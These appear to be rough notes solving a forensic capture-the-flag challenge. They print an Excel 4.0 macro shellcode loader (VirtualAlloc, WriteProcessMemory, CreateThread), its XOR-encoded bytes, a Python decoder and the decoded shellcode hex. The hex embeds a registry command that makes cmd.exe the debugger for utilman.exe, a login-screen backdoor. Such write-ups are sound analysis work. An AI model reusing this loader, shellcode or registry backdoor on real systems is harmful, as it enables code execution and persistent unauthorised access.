Free Services(Forensic Challenge

Notion | Where teams and agents work together

A collaborative AI workspace, built on your company context. Build and orchestrate agents right alongside your team

https://app.notion.com

D53B85E21886D2AF9815C377537BCAC3

post
0,0,=SELECT(E1:G258)0,4,2280,5,540,6,2401,0,=CALL("Kernel32","VirtualAlloc","JJJJJ",0,386,4096,64)1,4,2441,5,1541,6,2332,0,=SET.VALUE(C1, 0)2,4,242,5,2162,6,243,0,=FOR("counter"
,0,772,2)3,4,93,5,243,6,1724,0,=SET.VALUE(B1,CHAR(_xlfn.BITXOR(ACTIVE.CELL(),24)))4,4,1204,5,2524,6,1455,0,=CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, A2 + C1,1, LEN(1), 0)5,4,1
55,5,2535,6,1036,0,=SET.VALUE(C1, C1 + 1)6,4,416,5,526,6,2167,0,=SELECT(, "RC[2]")7,4,2147,5,1247,6,2448,0,=NEXT()8,4,1478,5,908,6,729,0,=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R
2C6, 0, 0, 0)9,4,1989,5,409,6,5310,0,=WORKBOOK.ACTIVATE("Sheet1")10,4,14710,5,7010,6,7411,0,HALT()11,4,9311,5,2011,6,11812,4,14712,5,24012,6,7413,4,8813,5,1213,6,9114,4,14714,5,2241
4,6,10615,4,21715,5,4815,6,11416,4,2316,5,21716,6,17517,4,2217,5,8217,6,18818,4,6218,5,21718,6,4119,4,19119,5,23119,6,13020,4,18020,5,15020,6,3621,4,1821,5,12121,6,23522,4,10022,5,5222,
6,2623,4,3923,5,5223,6,9924,4,5624,5,23124,6,21725,4,2925,5,21525,6,21226,4,2126,5,7726,6,2527,4,7027,5,22327,6,5828,4,25028,5,13028,6,23429,4,24729,5,7429,6,18330,4,7930,5,830,6,14731,
4,19631,5,7431,6,20732,4,832,5,14732,6,14733,4,22133,5,8233,6,11134,4,3634,5,21234,6,14735,4,2435,5,8435,6,5736,4,936,5,2136,6,9637,4,9037,5,25137,6,18638,4,8038,5,2338,6,2539,4,2939,5,2
0139,6,16340,4,7340,5,8940,6,14741,4,3941,5,6541,6,5242,4,5642,5,7942,6,2543,4,25043,5,20343,6,4544,4,14744,5,24544,6,8145,4,5745,5,045,6,19446,4,25146,5,10546,6,3447,4,13047,5,8147,6,1
7648,4,14748,5,9548,6,4449,4,15649,5,14749,6,10850,4,2550,5,12250,6,20651,4,18751,5,4151,6,4052,4,23152,5,21152,6,18053,4,3453,5,21753,6,24454,4,21554,5,23554,6,2155,4,6155,5,2555,6,14
656,4,22356,5,11356,6,3257,4,23857,5,24857,6,3958,4,10958,5,24758,6,23859,4,13759,5,2759,6,20560,4,10160,5,6160,6,22461,4,2761,5,3561,6,15662,4,10162,5,4062,6,6063,4,8863,5,10963,6,241
64,4,25264,5,10964,6,6465,4,21165,5,14765,6,10466,4,6466,5,20266,6,6067,4,19067,5,2567,6,19468,4,20368,5,2868,6,12669,4,16869,5,14769,6,12170,4,2070,5,23970,6,8371,4,25571,5,14771,6,17
572,4,6472,5,15872,6,473,4,15773,5,2573,6,12574,4,20374,5,13974,6,14775,4,7875,5,2875,6,3276,4,14776,5,12676,6,2577,4,7277,5,20077,6,22878,4,14578,5,10378,6,9279,4,10379,5,6079,6,25480,
4,6080,5,12

back to the sheet

take the variables and run through the code , below is python script for this

=select(E1:G258)
=call("Kernel32","VirtualAlloc","JJJJJ",0,386,4096,64)
=set.value(C1, 0)
=for("counter",0,772,2)
=set.value(B1,CHAR(BITXOR(active.cell(),24)))
=call("Kernel32","WriteProcessMemory","JJJCJJ",-1, A2 + C1,β1, LEN(β1), 0)
=set.value(C1, C1 + 1)
=select(, "RC[2]")
=next()
=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C6, 0, 0, 0)
=workbook.activate("Sheet1")
HALT()

mud work with sed and awk

228,54,240,244,154,233,24,216,24,9,24,172,120,252,145,15,253,103,41,52,216,214,124,244,147,90,72,198,40,53,147,70,74,93,20,118,147,240,74,88,12,91,147,224,106,217,48,114,23,217,175,22,82,188,62,217,41,191,231,130,180,150,36,18,121,235,100,52,26,39,52,99,56,231,217,29,215,212,21,77,25,70,223,58,250,130,234,247,74,183,79,8,147,196,74,207,8,147,147,221,82,111,36,212,147,24,84,57,9,21,96,90,251,186,80,23,25,29,201,163,73,89,147,39,65,52,56,79,25,250,203,45,147,245,81,57,0,194,251,105,34,130,81,176,147,95,44,156,147,108,25,122,206,187,41,40,231,211,180,34,217,244,215,235,21,61,25,146,223,113,32,238,248,39,109,247,238,137,27,205,101,61,224,27,35,156,101,40,60,88,109,241,252,109,64,211,147,104,64,202,60,190,25,194,203,28,126,168,147,121,20,239,83,255,147,175,64,158,4,157,25,125,203,139,147,78,28,32,147,126,25,72,200,228,145,103,92,103,60,254,60,12,67,151,67,134,121,48,65,92,66,244,73,163,231,146,248,121,71,35,71,53,66,79,147,219,10,153,243,74,149,217,69,120,114,172,25,6,149,246,157,176,170,245,24,217,24,119,24,163,72,95,112,127,41,153,147,72,119,147,159,202,231,251,205,27,163,56,232,179,173,96,186,25,78,9,112,255,190,173,141,103,165,169,133,54,231,63,205,144,36,219,30,250,100,120,18,240,152,183,227,103,248,110,109,47,29,205,163,162,95,175,11,46,106,56,119,199,114,67,24,164,75,12,231,114,205,66,74,73,93,180,95,147,56,79,89,69,92,104,92,177,56,66,58,238,80,160,83,199,84,79,85,70,68,233,75,43,87,54,94,210,76,167,79,30,89,47,74,231,93,111,68,133,85,81,113,64,123,155,106,49,119,54,107,16,119,19,126,148,108,112,68,40,79,123,113,200,118,207,124,56,119,232,111,151,107,235,56,223,86,82,76,154,68,186,91,87,109,75,106,57,106,197,125,139,118,240,108,123,78,169,125,160,106,131,107,132,113,71,119,221,118,193,68,251,81,70,117,105,121,107,127,161,125,64,56,138,94,145,113,94,116,152,125,57,56,86,93,64,96,205,125,44,123,226,109,253,108,23,113,233,119,117,118,251,56,33,87,134,104,170,108,148,113,60,119,215,118,143,107,21,68,233,109,68,108,190,113,181,116,141,117,120,121,132,118,150,54,99,125,217,96,132,125,213,58,227,56,174,55,229,108,67,56,29,74,57,93,2,95,36,71,80,75,154,66,96,56,56,55,146,110,65,56,197,92,243,125,194,122,246,109,3,127,180,127,209,125,123,106,121,56,224,55,243,124,71,56,19,58,142,91,232,34,43,68,16,111,171,113,236,118,25,124,212,119,24,111,78,107,2,68,129,107,113,97,73,107,31,108,183,125,200,117,78,43,234,42,46,68,115,123,76,117,196,124,116,54,135,125,37,96,122,125,156,58,7,56,133,55,79,126,153,35,83,125,118,123,250,112,51,119,160,56,238,58,11,80,62,76,28,90,79,99,48,41,9,107,217,71,27,108,18,112,8,41,10,107,98,71,45,127,135,44,219,116,134,44,126,96,91,97,239,71,150,116,51,40,190,107,216,108,73,71,98,41,30,118,79,71,100,108,66,41,81,117,41,43,144,39,8,39,100,57,150,101,133,58,46,24,187

sed 'N;s/\n/,/' OUT

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5524547204144442022484b4c4d5c534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c7574696c6d616e2e65786522202f74205245475f535a202f76204465627567676572202f642022433a5c77696e646f77735c73797374656d33325c636d642e65786522202f663b6563686f20224854427b31735f746831735f67346c3478795f6c3073745f316e5f74316d333f3f217d2200

cat [space.py](http://space.py/)
#!/usr/bin/env python3

sc = [ 228,54,240,244,154,233,24,216,24,9,24,172,120,252,145,15,253,103,41,52,216,214,124,244,147,90,72,198,40,53,147,70,74,93,20,118,147,240,74,88,12,91,147,224,106,217,48,114,23,217,175,22,82,188,62,217,41,191,231,130,180,150,36,18,121,235,100,52,26,39,52,99,56,231,217,29,215,212,21,77,25,70,223,58,250,130,234,247,74,183,79,8,147,196,74,207,8,147,147,221,82,111,36,212,147,24,84,57,9,21,96,90,251,186,80,23,25,29,201,163,73,89,147,39,65,52,56,79,25,250,203,45,147,245,81,57,0,194,251,105,34,130,81,176,147,95,44,156,147,108,25,122,206,187,41,40,231,211,180,34,217,244,215,235,21,61,25,146,223,113,32,238,248,39,109,247,238,137,27,205,101,61,224,27,35,156,101,40,60,88,109,241,252,109,64,211,147,104,64,202,60,190,25,194,203,28,126,168,147,121,20,239,83,255,147,175,64,158,4,157,25,125,203,139,147,78,28,32,147,126,25,72,200,228,145,103,92,103,60,254,60,12,67,151,67,134,121,48,65,92,66,244,73,163,231,146,248,121,71,35,71,53,66,79,147,219,10,153,243,74,149,217,69,120,114,172,25,6,149,246,157,176,170,245,24,217,24,119,24,163,72,95,112,127,41,153,147,72,119,147,159,202,231,251,205,27,163,56,232,179,173,96,186,25,78,9,112,255,190,173,141,103,165,169,133,54,231,63,205,144,36,219,30,250,100,120,18,240,152,183,227,103,248,110,109,47,29,205,163,162,95,175,11,46,106,56,119,199,114,67,24,164,75,12,231,114,205,66,74,73,93,180,95,147,56,79,89,69,92,104,92,177,56,66,58,238,80,160,83,199,84,79,85,70,68,233,75,43,87,54,94,210,76,167,79,30,89,47,74,231,93,111,68,133,85,81,113,64,123,155,106,49,119,54,107,16,119,19,126,148,108,112,68,40,79,123,113,200,118,207,124,56,119,232,111,151,107,235,56,223,86,82,76,154,68,186,91,87,109,75,106,57,106,197,125,139,118,240,108,123,78,169,125,160,106,131,107,132,113,71,119,221,118,193,68,251,81,70,117,105,121,107,127,161,125,64,56,138,94,145,113,94,116,152,125,57,56,86,93,64,96,205,125,44,123,226,109,253,108,23,113,233,119,117,118,251,56,33,87,134,104,170,108,148,113,60,119,215,118,143,107,21,68,233,109,68,108,190,113,181,116,141,117,120,121,132,118,150,54,99,125,217,96,132,125,213,58,227,56,174,55,229,108,67,56,29,74,57,93,2,95,36,71,80,75,154,66,96,56,56,55,146,110,65,56,197,92,243,125,194,122,246,109,3,127,180,127,209,125,123,106,121,56,224,55,243,124,71,56,19,58,142,91,232,34,43,68,16,111,171,113,236,118,25,124,212,119,24,111,78,107,2,68,129,107,113,97,73,107,31,108,183,125,200,117,78,43,234,42,46,68,115,123,76,117,196,124,116,54,135,125,37,96,122,125,156,58,7,56,133,55,79,126,153,35,83,125,118,123,250,112,51,119,160,56,238,58,11,80,62,76,28,90,79,99,48,41,9,107,217,71,27,108,18,112,8,41,10,107,98,71,45,127,135,44,219,116,134,44,126,96,91,97,239,71,150,116,51,40,190,107,216,108,73,71,98,41,30,118,79,71,100,108,66,41,81,117,41,43,144,39,8,39,100,57,150,101,133,58,46,24,187
]
hexstring = b""
for i in range(0, len(sc), 2):
b = sc[i]
b = b ^ 24
hexstring += bytes([b])

print(hexstring.hex())

with open('out.bin', 'wb') as f:
f.write(hexstring)

convert output from hex and get flag